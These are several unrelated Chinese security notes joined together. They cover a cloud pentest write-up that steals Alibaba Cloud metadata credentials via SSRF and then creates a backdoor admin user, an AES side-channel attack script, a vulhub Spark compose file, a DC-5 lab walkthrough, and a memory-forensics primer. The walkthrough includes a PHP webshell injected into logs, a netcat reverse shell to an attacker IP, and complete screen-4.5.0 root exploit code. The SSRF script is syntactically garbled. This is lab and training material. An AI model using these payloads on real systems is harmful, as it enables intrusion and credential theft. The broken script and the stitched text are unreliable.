然后我们读取返回的文件地址,通过返回的内容可以看到服务端确实访问到了 https://baidu.com?.jpg,说明这里确实存在 SSRF 漏洞。
<img width="1000" src="/img/1657632736.png">
通过查询该域名所属 IP,发现该站点位于云上,那么我们就可以利用这个 SSRF 漏洞去获取实例的元数据信息,但是这样每次获取数据都要手动发两个数据包就很麻烦,所以这里简单搞个脚本。
```python
import sys
import requests
ssrf_url = sys.argv[1]
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64"> AppleWebKit/537.36 (KHTML, like Gecko"> Chrome/100.0.3100.0 Safari/537.36"}
req1 = requests.get("https://your_target.com/laravel-u-editor-server/server?action=catchimage&source[]=" + ssrf_url,headers=headers">
req2 = requests.get(req1.json(">["list"][0]["url"],headers=headers">
print(req2.text">
```
通过查询该站点的 IP 得知该站点位于阿里云上,阿里云的元数据地址为 http://100.100.100.200/latest/meta-data ,我们尝试获取一下。
<img width="800" src="/img/1657634631.png">
可以看到成功获取到了元数据信息,并且值得注意的是,在元数据信息里还有 `ram/`目录,这就意味着这台实例存在临时访问凭证,也就是说存在被进一步利用的可能性。
我们一步步打开 `ram/`目录,在 http://100.100.100.200/latest/meta-data/ram/security-credentials/laravel-test-role 下找到了临时访问凭证。
<img width="1000" src="/img/1657635047.png">
不同于传统的打点,云环境的打点在我看来,除了传统打点的类型外,拿到云服务的 Access Key 也应该可以被称之为打点,那么在打到点后,接下来就可以开始内网横向了。
## 0x02 云上内网横向,也得细心呀
当我们拿到临时访问凭证后,首先要做的就是得知道这个凭证具备哪些权限。
我们先把凭证配置到 CF 里,CF 下载地址:https://github.com/teamssix/cf/releases
```bash
cf configure
```
<img width="800" src="/img/1657635453.png">
查看当前凭证的权限
```bash
cf ls permissions
```
<img width="800" src="/img/1657640981.png">
可以看到当前权限具有 OSS 的全部权限,并且可以使用 CF 的「列出 OSS 资源」以及「下载 OSS 资源」的功能。
这里先列出 OSS 资源看看
```bash
cf oss ls
```
<img width="1000" src="/img/1657643500.png">
可以看到在该凭证下有四个存储桶,一个是公开的,三个是私有的。
查看一下存储桶里有哪些文件
```bash
cf oss ls -b bucketName
```
<img width="1000" src="/img/1657643569.png">
利用 CF 下载文件,如果想下载全部对象,则不指定 `-k`参数即可。
```bash
cf oss get -b bucketName -k objectKey
```
<img width="1000" src="/img/1657645817.png">
大概翻了一下存储桶里的文件,在公有存储桶里大部分是图片,私有存储桶里有几十个压缩包文件和大量图片等等,这几百张图片里只发现了几张有敏感信息的图片,整体来说价值不大。
后来过了一会儿还是另外一位师傅在私有存储桶里一个个的翻文件,最后在几十个压缩包里终于找到了一个有高价值的配置文件,于是事情开始出现了转机,不得不说,还是得细心啊。
查看这个配置文件,发现在配置文件里写的是「OSS 相关配置信息」
<img width="800" src="/img/1657646627.png">
但是当我们配置上这个 AK 后,发现这个 AK 还具有 ECS 的权限。
> 在后来拿下管理员权限后,我们发现这个用户被配置到了具备 ECS 权限的用户组里去了,所以这里才会有 ECS 的权限。
<img width="800" src="/img/1657647125.png">
先用 CF 看一下有哪些 ECS 实例
```bash
cf ecs ls
```
<img width="1000" src="/img/1657647793.png">
使用 CF 一键获取临时访问凭证
```bash
cf ecs exec -m
```
<img width="1000" src="/img/1657648302.png">
发现只有一个实例可以获取到临时访问凭证,而且这个有临时访问凭证的实例就是上述存在 SSRF 漏洞的那台机器。
于是通过临时访问凭证横向的这条路就断了,那就继续在实例上信息收集吧,看看能不能找到什么有价值的信息,最后发现有一台实例安装了 aliyun cli 工具,并且配置过 AK,那么这样一来我们就可以通过查看 aliyun cli 工具的配置文件获取到这个 AK。
```bash
cf ecs exec -c "cat ~/.aliyun/config.json"
```
<img width="800" src="/img/1657649173.png">
将 CF 配置上这个 AK,并查看权限
<img width="800" src="/img/1657651393.png">
发现这个 AK 的权限要比之前的几个都要大,这个 AK 具有 `AliyunRAMFullAccess`权限,这也就意味着我们可以创建一个管理员后门用户,并通过该用户去接管控制台。
## 0x03 拿下云上管理员权限,相当于拿下“域控”?
使用 CF 一键接管控制台
```bash
cf console
```
<img width="800" src="/img/1657651513.png">
在浏览器中,打开控制台登录地址,并输入用户名、密码进行登录。
<img width="1000" src="/img/1657651633.png">
在访问控制里,可以看到当前权限为`AdministratorAccess`,这也就意味着我们已经拿到了该租户的管理员权限。
<img width="1000" src="/img/1657651724.png">
在控制台中看看这个账号下的 OSS 对象存储服务
<img width="1000" src="/img/1657651864.png">
其他的 ECS、RDS 等等云服务也都是可以查看并操作的,这里就不再一一截图了,到这里为止,其实在我看来就相当于已经拿下了传统内网中的“域控”权限。
基本上这个云账号下的绝大部分操作都是可以执行的了,只不过在控制台下有些操作需要二次校验,但其实还是有办法绕过的,绕过的方法也很简单,相信你能猜到 ~
> 最后还有一些值得注意的地方,是需要了解的:
>
> 1. 在 ECS 实例中执行一些高危命令,例如反弹 Shell 这类,可能会引发云盾告警。
> 2. CF 接管控制台会创建一个后门用户,在使用完后,记得取消接管,使用 `cf console cancel`命令即可取消接管,后门用户也会随之删除。
> 3. 为了充分表达云上内网横向的过程以及更加完整的展示 CF 的使用,文中少部分内容非真实发生且部分内容进行了省略。
> 4. 出于保护目标但又想学习交流的目的,以上云上环境均为个人搭建,不代表目标的实际情况。
## 0x04 总结
记得以前大家一起做项目的时候,那个时候如果有人打点打到云上的主机时,就会在协作平台里标注一句「这个是云主机,不用花太多时间去深入」。
但随着企业业务的不断上云,打点打到云上主机的概率也在可感知的越来越大,似乎传统内网的奶酪正在不断变少,这时如果不去寻找新的奶酪(指云上内网横向),也许在不久的将来就会陷入两难的境地。
因此本文既是在介绍我写的这个云环境利用框架 CF 工具,也是在描绘一种在新场景下的内网横向手法,这里的内网横向不仅仅是从这台机器到那台机器,而是从这个云服务到那个云服务,例如从 OSS 到 ECS 再到 RAM 等等,在这其中又包含了从这个机器到那台机器,例如多台 ECS 实例之间的内网横向。
现在 xx 在即,也希望我写的这个工具以及这篇文章能够为你在实战中带来新的启发和新的思路,如果感觉 CF 这个工具似乎还可以的话,师傅你不妨动动小手给 CF 点个 Star,嘿嘿~ ,CF 项目地址:[https://github.com/teamssix/cf](https://github.com/teamssix/cf)
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年7月13日"
}
}
</script>
|
sec-knowleage
|
from library import *
from lib_attack import *
import sys
import numpy as np
from pyaes.aes import *
inputs, outputs, traces_orig = parse(sys.argv[1])
# show_traces(traces_orig)
key_0 = [228, 123, 155, 110, 8, 116, 222, 158, 59, 117, 91, 119, 170, 23, 182, 148]
key_0 = [
[key_0[0], key_0[1], key_0[2], key_0[3]],
[key_0[4], key_0[5], key_0[6], key_0[7]],
[key_0[8], key_0[9], key_0[10], key_0[11]],
[key_0[12], key_0[13], key_0[14], key_0[15]],
]
for i, inp in enumerate(inputs):
inp = [
[inp[0], inp[1], inp[2], inp[3]],
[inp[4], inp[5], inp[6], inp[7]],
[inp[8], inp[9], inp[10], inp[11]],
[inp[12], inp[13], inp[14], inp[15]],
]
inp = AddRoundKey(inp, key_0)
inp = SubBytes(inp)
inp = ShiftRows(inp)
inp = MixColumns(inp)
all = []
for x in inp:
all += x
inputs[i] = all
j = 0
flag = [0] * 16
for place in range(9734, 33996+800, 1626):
traces = np.copy(traces_orig[:, place-400:place+400])
normalize(traces)
align(traces, range(-50, 50))
traces = traces[:, :-40]
print "Flag so far", flag
#show_traces(traces)
i = [0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15][j]
j += 1
fb = find_byte(inputs, outputs, traces, i)
for a in fb[:5]:
print a
print
if fb[0][0] / fb[1][0] > 1.3:
print "\t\tFOUND BYTE %d: %02x" % (i, fb[0][1])
flag[i] = fb[0][1]
print flag
|
sec-knowleage
|
version: '2'
services:
master:
image: vulhub/spark:2.3.1
ports:
- "8080:8080"
- "7077:7077"
- "6066:6066"
slave:
command: "slave spark://master:7077"
image: vulhub/spark:2.3.1
depends_on:
- master
ports:
- "8081:8081"
|
sec-knowleage
|
# DC 5
下载地址:https://download.vulnhub.com/dc/DC-5.zip
## 实战演练
发现靶场IP:`192.168.32.162`

扫描对外端口
```
┌──(root💀kali)-[/tmp]
└─# nmap -sT -sV -p1-65535 192.168.32.162
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-22 23:22 EDT
Nmap scan report for 192.168.32.162
Host is up (0.00019s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
111/tcp open rpcbind 2-4 (RPC #100000)
39437/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:E8:1B:52 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
```
浏览器访问80端口

有一个反馈页面,提交数据之后,刷新页面会发现年份会进行改变


对参数进行暴力破解,发现`file`参数
```
┌──(root💀kali)-[/opt]
└─# wfuzz --hh 851 -w burp-parameter-names.txt -u http://192.168.32.162/thankyou.php?FUZZ=
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.32.162/thankyou.php?FUZZ=
Total requests: 6453
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002206: 200 42 L 63 W 835 Ch "file"
Total time: 6.369654
Processed Requests: 6453
Filtered Requests: 6452
Requests/sec.: 1013.084
```
该参数存在LFI漏洞

查看nginx日志:`/var/log/ngnix/access.log`

使用BURP输入一句话木马
```
<?php system($_GET['cmd']) ?>
```
```
GET /thankyou.php?file=<?php system($_GET['cmd']) ?> HTTP/1.1
Host: 192.168.32.162
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
```

> 注:不可以直接在浏览器请求,不然会转义
>
> <img src="../../.gitbook/assets/image-20220623155642730.png" alt="image-20220623155642730" data-size="original"> <img src="../../../SecNote/.gitbook/assets/image-20220623160237894.png" alt="image-20220623160237894" data-size="original">
使用反弹shell进行连接
```
view-source:http://192.168.32.162/thankyou.php?file=/var/log/nginx/error.log&cmd=nc%20-e%20/bin/bash%20192.168.32.130%2017777
```

查看suid的进程
```
www-data@dc-5:~/html$ find / -perm -4000 2>/dev/null
find / -perm -4000 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs
```
查看screen的提权漏洞

直接提权会失败,因为环境缺乏gcc

将需要GCC的代码拆分出来
libhax.c
```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
```
rootshell.c
```
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
```
41154.sh
```
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
```
编译
```
┌──(root💀kali)-[/tmp]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
┌──(root💀kali)-[/tmp]
└─# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
```
打包EXP
```
┌──(root💀kali)-[/tmp]
└─# tar -cvf exp.tar.gz 41154.sh libhax.so rootshell
41154.sh
libhax.so
rootshell
```
提权成功

|
sec-knowleage
|
# 内存
> 注 : 笔记中拓扑图 drawio 源文件在其图片目录下
---
## 简介
计算机的物理内存一般我们指的就是随机存取存储器(Random Access Memory, 简称 RAM)。内存是一种易失性存储载体,它保存处理器主动访问和存储的代码和数据,是一个临时的数据交换空间。大多数的 PC 的内存属于一种动态 RAM(DRAM)。 它是动态变化的,因其利用了电容器在充电和放电状态间的差异来存储数据的比特位。为了维持电容器的状态,动态内存必须周期性刷新 - 这也是内存控制器最典型的任务。
由于计算机的内存 (DRAM) 需要持续供电才能保持数据可持续访问,因此也称为易失性存储。美国普林斯顿大学曾做过关于计算机冷启动攻击的研究,计算机在断电后,在很短的时间内内存的数据就会消失,然而通过液态氮冷却,可以将内存中的数据进行冻结,再通过一些技术方法来解冻并获取原来的内存数据。
RAM 随机存取存储器,也叫主存,与 CPU 直接交换数据的内部存储器,可以随时读写 (刷新时除外),速度很快,作为操作系统或其他正在运行中的程序的临时数据存储介质。
内存是与 CPU 进行沟通的桥梁,计算机内所有程序的运行都是再内存中的,只要计算机运行,CPU 就会把需要运算的数据调到主存中进行运算,当运算完成后 CPU 将结果传送出来。
主存通过控制芯片与 CPU 进行相连,由可读写的元素构成,每个字节都带有一个地址编号,CPU 通过地址从主存中读取数据和指令,也可以根据地址写入数据。
内存内部由各种 IC 电路组成,可分为三种存储器
- 随机存储器 (RAM) : 内存中最重要的一种,表示既可以从中读取数据,也可以写入数据。当机器关闭时,内存中的信息会丢失。
- 只读存储器 (ROM) : ROM 一般只能用于数据的读取,不能写入数据,但是当机器停电时,这些数据不会丢失。
- 高速缓存 (Cache) : Cache 也是我们经常见到的,它分为一级缓存 (L1 Cache)、二级缓存 (L2 Cache)、三级缓存 (L3 Cache) 这些数据,它位于内存和 CPU 之间,是一个读写速度比内存更快的存储器。当 CPU 向内存写入数据时,这些数据也会被写入高速缓存中。当 CPU 需要读取数据时,会直接从高速缓存中直接读取,当前,如需要的数据在 Cache 中没有,CPU 会再去读取内存中的数据。
内存 IC 是一个完整的结构,它内部也有电源、地址信号、数据信号、控制信号和用于寻址的 IC 引脚来进行数据的读写。
IC 元件的两侧是引脚,IC 的所有引脚,只有两种电压: 0V 和 5V,IC 的这种特性,也就决定了计算机的信息处理只能用 0 和 1 表示。一个引脚可以表示 0 和 1,所以二进制表示方式变成 0101 等。
图中 VCC 和 GND 表示电源,A0~A9 是地址信号的引脚,D0~D7 表示的是控制信号、RD 和 WR 都是控制信号,将电源连接到 VCC 和 GND 后,就可以对其他引脚传递 0 和 1 的信号,大多数情况下,+5V 表示 1,0V 表示 0.
内存用来存储数据,图中的内存 IC,D0~D7 表示数据信号,那么一次可以输入输出 8bit=1byte 的数据。A0~A9 是地址信号共 10 个,表示可以指定 0000000000-1111111111 共 2 的 10 次方 = 1024 个地址。每个地址都会存放 1byte 的数据,因此得出内存 IC 的容量为 1KB。
如果我们使用 512MB 的内存,这相当于是 512000(512*1000) 个内存 IC,但正常时不可能有这么多个内存 IC 的。通常情况下,一个内存 IC 会由更多的引脚。
**为什么 32 位计算机内存最多是 4G**
32 位计算机的编号最大是 32 位,也就是 32 个 1 换成 16 进制为 FFFFFFFF,也就是说,32 位计算机内存寻址的最大范围是 FFFFFFFF+1
内存的单位是字节,那内存中能存储的信息最多为:FFFFFFFF+1 字节 即 4G,这也是为什么我们在一个 XP 的系统上面如果物理内存超过 4G 是没有意义的原因。
---
## 内存的读写过程
假设我们要向内存 IC 中写入 1byte 的数据的话,它的过程是这样的:
- 首先给 VCC 接通 +5V 的电源,给 GND 接通 0V 的电源,使用 A0~A9 来指定数据的存储场所,然后再把数据的值输入给 D0~D7 的数据信号,并把 WR(write) 的值置为 1,执行完这些操作后,即可以向内存 IC 写入数据。
- 读出数据时,只需要向 A0~A9 的地址信号指定数据的存储场所,然后再将 RD 的值置为 1 即可。
- RD 和 WR 又被称为控制信号。其中当 WR 和 RD 都为 0 时,无法进行写入和读取操作。
程序中的数据不仅只有数值,还有数据类型的概念,从内存上看,就是占用内存大小的意思。即使物理上强制以 1 个字节为单位来逐一读写数据的内存,在程序中,通过指定其数据类型,也能实现以特定字节数为单位进行读写。
例如,下列程序
```c
//定义变量
char a;
short b;
long c;
//变量赋值
a=123;
b=123;
c=123;
```
我们分别声明了三个变量 a,b,c,并给每个变量赋上了相同的 123,这 3 个变量表示内存的特定区域。通过变量,即使不指定物理地址,也可以直接完成读写操作,操作系统会自动为变量分配内存地址。
这 3 个变量分别表示 1 个字节长度的 char,2 个字节长度的 short,表示 4 个字节长度的 long,因此,虽然数据都表示的是 123,但是其存储时所占的内存大小是不一样的,如图。
这里的 123 都没有超过每个类型的最大长度,所以 short 和 long 类型所占用的其他内存空间分配的数值是 0。这里我们采用的是低字节序列的方式存储。
- 低字节序列 : 将数据低位存储在内存低位地址。
- 高字节序列 : 将数据的高位存储在内存低位的方式称为高字节序列。
---
## 内存的使用
### 指针
指针是 C 语言中的重要特征,也是一种变量,它表示的不是数据的值,而是内存的地址,通过指针可以读任意内存地址的数据进行读写。
在定义指针时,变量名前面要加一个 `*` 号,例如:
```c
char *d; // char类型的指针 d 定义
short *e; // short类型的指针 e 定义
long *f; // long类型的指针 f 定义
```
以 32 位计算机为例,32 位计算机的内存地址是 4 字节,在这种情况下,指针的长度也是 32 位。但变量 d、e、f 却代表了不同的字节长度。
因为这些数据表示的是从内存中一次读取的字节数,比如 d e f 的值都为 100,那么使用 char 类型时就能够从内存中读写 1byte 的数据,使用 short 类型就能够从内存中读写 2 字节的数据,使用 long 就能够读写 4 字节的数据,如下表
| 类型 | 32位 | 64位 |
| - | - | - |
| char | 1 | 1 |
| short int | 2 | 2 |
| int | 4 | 4 |
| unsigned int | 4 | 4 |
| float | 4 | 4 |
| double | 8 | 8 |
| long | 4 | 8 |
| long long | 8 | 8 |
| unsigned long | 4 | 8 |
### 数组
数组是指多个相同的数据类型在内存中连续排列的一种形式。作为数组元素的各个数据会通过下标编号来区分,这个编号也叫做索引,如此一来,就可以对指定索引的元素进行读写操作。
这里用 char、short、long 三种元素定义数组,数组的元素用 \[value] 扩起来,里面的值代表的是数组的长度,如下:
```c
char g[100];
short h[100];
long i[100];
```
数组定义的数据类型,也表示一次能够读写的内存大小,char、short、long 分别以 1、2、4 个字节为例进行内存的读写。
数组是内存的实现,数组和内存的物理结构是完全一致的,尤其是在读写 1 个字节的时候,当字节数超过 1 时,只能通过逐个字节来读取,内存的读写过程如下图
### 栈
栈(stack) 是一种很重要的数据结构,栈采用 LIFO(Last In First Out)即后入先出的方式对内存进行操作,最先放入的数据在栈的最下面,最后放入的数据在栈的最上面,如果要拿数据,要从栈顶开始取,否则无法去除最下面的数据。
栈的数据结构就是这样,你把数据压入栈的操作叫做入栈(push),你把数据从栈取出的操作叫做出栈(pop),模型图如下:
入栈相当于是增加操作,出栈相当于是删除操作,只不过叫法不一样。栈和内存不同,它不需要指定元素的地址,使用类似如下
```c
//压入数据
Push(123);
Push(456);
Push(789);
//弹出数据
j=Pop();
k=Pop();
l=Pop();
```
在栈中,LIFO 方式表示栈的数组中所保存的最后面的数据会被最先读取出来.
### 队列
**顺序队列**
队列和栈相似但又不同,队列也不需要指定元素的地址,但队列是 FIFO 即先入先出的数据结构。就像排队干饭,先到的人先干到饭,使用类似如下
```c
//往队列中写入数据
EnQueue(123);
EnQueue(456);
EnQueue(789);
//从队列中读出数据
m=DeQueue();
n=DeQueue();
o=DeQueue();
```
向队列中写入数据称为 EnQueue() 入列,从队列中读出数据称为 DeQueue()
与栈相同,FIFO的方式表示队列中最先保存的数据会被优先读取。
**循环队列**
循环队列一般是以环状缓冲区(ring buffer)的方式实现的,它是一种用于表示一个固定尺寸、头尾相连的缓冲区的数据结构,适合缓存数据流。假如我们要用6个元素的数组来实现一个环形缓冲区,这时可以从起始位置开始有序的存储数据,然后按存储时的顺序把数据读出,在数组的末尾写入数据后,后一个数据就会从缓冲区的头部开始写。这样,数组的末尾和头部就连接起来了。
### 链表
通过使用链表,可以高效的对数据元素进行删除和添加操作。
在实现数组的基础上,除了数据的值之外,通过为其附带上下一个元素的索引,即可实现链表。数据的值和下一个元素的地址 (索引) 就构成了一个链表元素。
对链表的添加和删除都是非常高效的,如果要删除地址为 p\[2] 的元素,链表变化如下
删除地址为 p\[2] 的元素后,直接将链表剔除,并把 p\[2] 前一个位置的元素 p\[1] 的指针域指向 p\[2] 下一个链表元素的数据区即可。
对于新添加进来的链表,需要确定插入位置,比如要在 p\[2] 和 p\[3] 之间插入地址为 p\[6] 的元素,需要将 p\[6] 的前一个位置 p\[2] 的指针域改为 p\[6] 的地址,然后将 p\[6] 的指针域改为 p\[3] 的地址即可。
链表的添加不涉及数据的移动,所以链表的添加和删除很快,而数组的添加涉及到数据的移动,所以比较慢,通常用数组来检索数,使用链表来进行添加和删除操作。
### 二叉树
使用二叉树可以高效的对数据进行检索。
二叉树是一种检索效率非常高的数据结构,二叉树是指在链表的基础上往数组追加元素时,考虑到数组的大小关系,将其分为左右两个方向的表现形式,假如保存一个中间值,那么接下来要进行值的写入,就需要和中间值进行比较,确认大小,大的放右边,小的放左边。
---
### 虚拟内存
计算机中的程序都需要通过内存运行,如果占用内存巨大就会耗尽内存,windows 系统使用虚拟内存技术,通过使用一部分硬盘空间当作内存使用,来确保程序耗尽内存也依然可以有存储空间,虚拟内存在硬盘上的存在形式就是 pagefile.sys 页面文件。
虚拟内存是内存和磁盘交互的第二个媒介,虚拟内存是指把磁盘的一部分作为假象内存使用。是内存管理技术的一种,它使得应用程序认为它拥有连续可用的内存 (一个完整的地址空间),实际上,它通常被分割成多个物理碎片,还有部分存储在外部磁盘管理器上,必要时进行数据交换。
通过借助虚拟内存,在内存不足时依然可以运行程序,例如只剩 5MB 内存空间的情况下运行 10MB 程序,由于 CPU 只能执行加载到内存中的程序,因此,虚拟内存的空间就需要和内存中的空间进行置换 (swap),然后运行程序。
**虚拟内存与内存的交换方式**
虚拟内存的方法有分页式和分段式两种。windows 采用的是分页式。该方式指在不考虑程序构造的情况下,把运行的程序按照一定大小的页进行分割,并以页为单位进行置换。在分页式中,我们把磁盘的内存读到内存中称为 Page In,把内存的内容写入磁盘称为 Page Out.Windows 计算机的页大小为 4KB,所以要把应用程序按照 4KB 的页来划分,以页为单位放到磁盘进行 swap.
为实现内存功能,windows 在磁盘上提供了虚拟内存使用的分页文件,该文件由 window 生成和管理,大小一般是内存的 1~2 倍。
---
### 节约内存
windows 使用虚拟内存可以一定程度上解决内存不足的问题,但治标不治本,性能上的损失很大。所以一些优化应用程序的技术也非常关键
**通过 DLL 实现函数共有**
DLL(Dynamic Link Library, 动态链接库) 文件在程序运行时可以动态加载 Library 文件,多个应用可以共有同一个 DLL 文件,进而节约内存使用。
例如,编写一个具有某些处理功能的函数 Func(), 应用 A 和 B 都使用这个函数,然后再各自应用中内置 Func() 后同时运行,那么内存中就存在了 Func() 两次。而DLL文件内容可以在运行时被多个应用共有,因此内存中存在 Func() 的程序只有一个。
Windows 系统包含大量的 DLL 文件,有些应用在安装时,DLL 文件也会被追加,应用程序通过这些 DLL 文件运行,节约内存,有些应用更新时,甚至仅更新 DLL 文件。
**通过调用_stdcall 来减少程序文件的大小**
_stdcall 是 standard call(标准调用) 的缩写。windows 提供的 DLL 文件内的函数,基本上都是通过 _stdcall 调用方式完成的,主要可以节约内存。
C 语言特有的调用方法称为 C 调用,默认编写的程序不使用 _stdcall,因为 C 语言所对应的函数传入参数是可变的,只有函数调用方才能知道到底有多少个参数,在这种情况下,栈的清理作业无法进行,不过当函数的参数和数量固定时,指定 _stdcall 是没有任何问题的。
C语言中,调用完函数后,需要人为执行栈清理指令,把不需要的数据从接收和传递函数的参数时使用的内存上的栈区域中清理出去的操作叫做栈清理处理。例如
```c
//函数调用方
void main(){
int a;
a=Func(123,456);
}
//被调用方
int Func(int a,int b){
...
}
```
代码中,从 main 主函数调用到 Func() 方法,按照默认的设定,栈的清理处理会附加在 main 主函数这一方,在同一个程序中,有可能会多次调用,导致 Func() 进行多次清理,这会造成内存的浪费。
汇编之后的代码如下
```c
push 1C8h // 将参数 456(=1C8h)存入栈中
push 7Bh // 将参数 123(=7Bh)存入栈中
call @LTD+15 (Func)(00401014) // 调用 Func 函数
add esp,8 // 运行栈清理
```
C 语言通过栈来传递函数的参数,使用 push 是往栈中存入数据的指令,pop 是从栈中取出数据的指令。32 位 CPU 中,1 次 push 指令可以存储 4 个字节 (32 位) 的数据。上述代码进行了两次 push,存储了 8 个字节的数据,通过 call 指令调用函数,调用完毕后,栈中存储的数据就不需要了,通过 add esp,8 这个指令,使存储着栈数据的 esp 寄存器前进 8 位(设定为指向高 8 位的地址),进行数据清理,由于栈在各种情况下都需要使用,因此使用完毕后需要恢复到原始状态,上述操作就是指向栈的清理工作,在 C 语言中,函数的返回值,是通过寄存器而非栈来返回的。
栈执行清理工作,在调用方法处执行清理工作和在反复调用方法处执行清理工作不同,使用 _stdcall 标准调用的方法称为反复调用方法, 在这种情况下执行栈清理开销比较小。
不同方式的调用,清理方式也不同。
---
## 地址空间(Address Space)
CPU 处理器要在执行指令并访问存储与内中的数据,它必须为要访问的数制定一个唯一性地址。地址空间指的就是一组大量的有效地址,可用于去识别存储与有限的内存分配空间中的数据。一个正在运行的程序可以访问的单个连续的地址空间一般称为线性地址空间。基于内存模型及采用的分页模式,我们有时将其称为线性地址,有时称为虚拟地址。通常我们使用物理地址空间来特指处理器请求访问物理内存的地址。这些地址是通过将线性地址转化为物理地址来获得。
---
## 内存分页(Paging)
从抽象意义上来讲页是一个具有固定尺寸的窗口,从逻辑意义上来讲页是具有固定大小的一组连续线性地址的集合。
分页可以将线性地址空间进行虚拟化。它创建了一个执行环境,大量线性地址空间通过用适量的物理内存和磁盘存储进行模拟。每一个 32 位的线性地址空间被分为固定长度的片段,称为页 (Page),页可以任何顺序将线性地址空间映射为物理内存。当程序尝试访问线性地址时,这样的映射使用了驻留内存的页目录(Page Directory) 及页表 (Page Table) 来实现。
一个页的大小可以指定为 4KB(212=4KB) 的任意倍数,这根据不同的体系结构或操作系统的设置而定,而 x86 架构下的 Windows/Linux 均采用 4KB 大小的分页方式,这就说明 32 位线性地址中必定存在一个 12 位的指示页内偏移量的域。
**物理地址扩展**
Intel 公司的 32 位架构的内存分页机制支持物理地址扩展(Physical Address Extension ,简称 PAE), 该扩展支持允许处理器支持超过 4GB 的物理地址空间。
程序虽然仍只能拥有最高 4GB 的线性地址空间,但是内存管理单元可以将那些地址映射为扩展后的 64GB 物理地址空间。对于支持 PAE 功能的系统,线性地址分为四个索引:
- 页目录指针表 (Page directory pointer table, 简称 PDPT)
- 页目录 (Page directory,简称 PD)
- 页表 (Page table,简称 PT)
- 页偏移 (Page offset)
---
## 物理内存中数据的价值
计算机终端及移动终端均使用了 RAM 易失性存储,主要用于数据交换、临时存储等用途。操作系统及各种应用软件均经常需要与物理内存进行数据交互,此外由于内存空间有限,因此计算机系统还可能将内存中的数据缓存到磁盘中,如 pagefile.sys(页交换文件)及 hiberfil.sys(休眠文件)。
内存中有大量的各类数据,结构化及非结构化数据。通过对物理内存镜像可以提取出有价值的数据。常见有价值的数据,包含以下内容:
- 进程列表 (包括恶意程序进程、Rootkit 隐藏进程等)
- 动态链接库 (当前系统或程序加载的动态链接库)
- 打开文件列表 (当前系统打开的文件列表)
- 网络连接 (当前活动的网络连接)
- $MFT 记录 (常驻文件均可以直接提取恢复)
- 注册表 (部分注册表信息,包括系统注册表和用户注册表文件)
- 加密密钥或密码 (如 Windows 账户密码 Hash、BitLocker/SafeBoot/PGP/ TrueCrypt/VeraCrypt 等全盘加密或加密容器的恢复密钥等)
- 聊天记录 (如 QQ 聊天记录片段)
- 互联网访问 (上网记录 URL 地址、网页缓存及 InPrivate 隐私模式访问数据等)
- 电子邮件 (如网页邮件缓存页面)
- 图片及文档等 (尚未保存到磁盘中的图片、文档等文件)
**页交换文件(Pagefile.sys)**
除了使用物理内存 RAM 用于数据交换,Windows 为了能正常工作还使用了各种各样的文件。从 Windows 95 开始,Windows 开始引入了页交换文件 (Pagefile.sys) 来协助内存数据的交换。 Pagefile.sys 是磁盘中的一个文件,它用于将操作系统中的活动数据临时性地进行存储,在必要的情况下,Windows 可将 Pagefile.sys 文件的中数据移动到物理内存中或从内存中将数据移到该文件中,实现数据的临时交换或缓存。从 Pagefile.sys 中获得的数据通常是当前活动的相关信息,也通常与调查相关性较高。
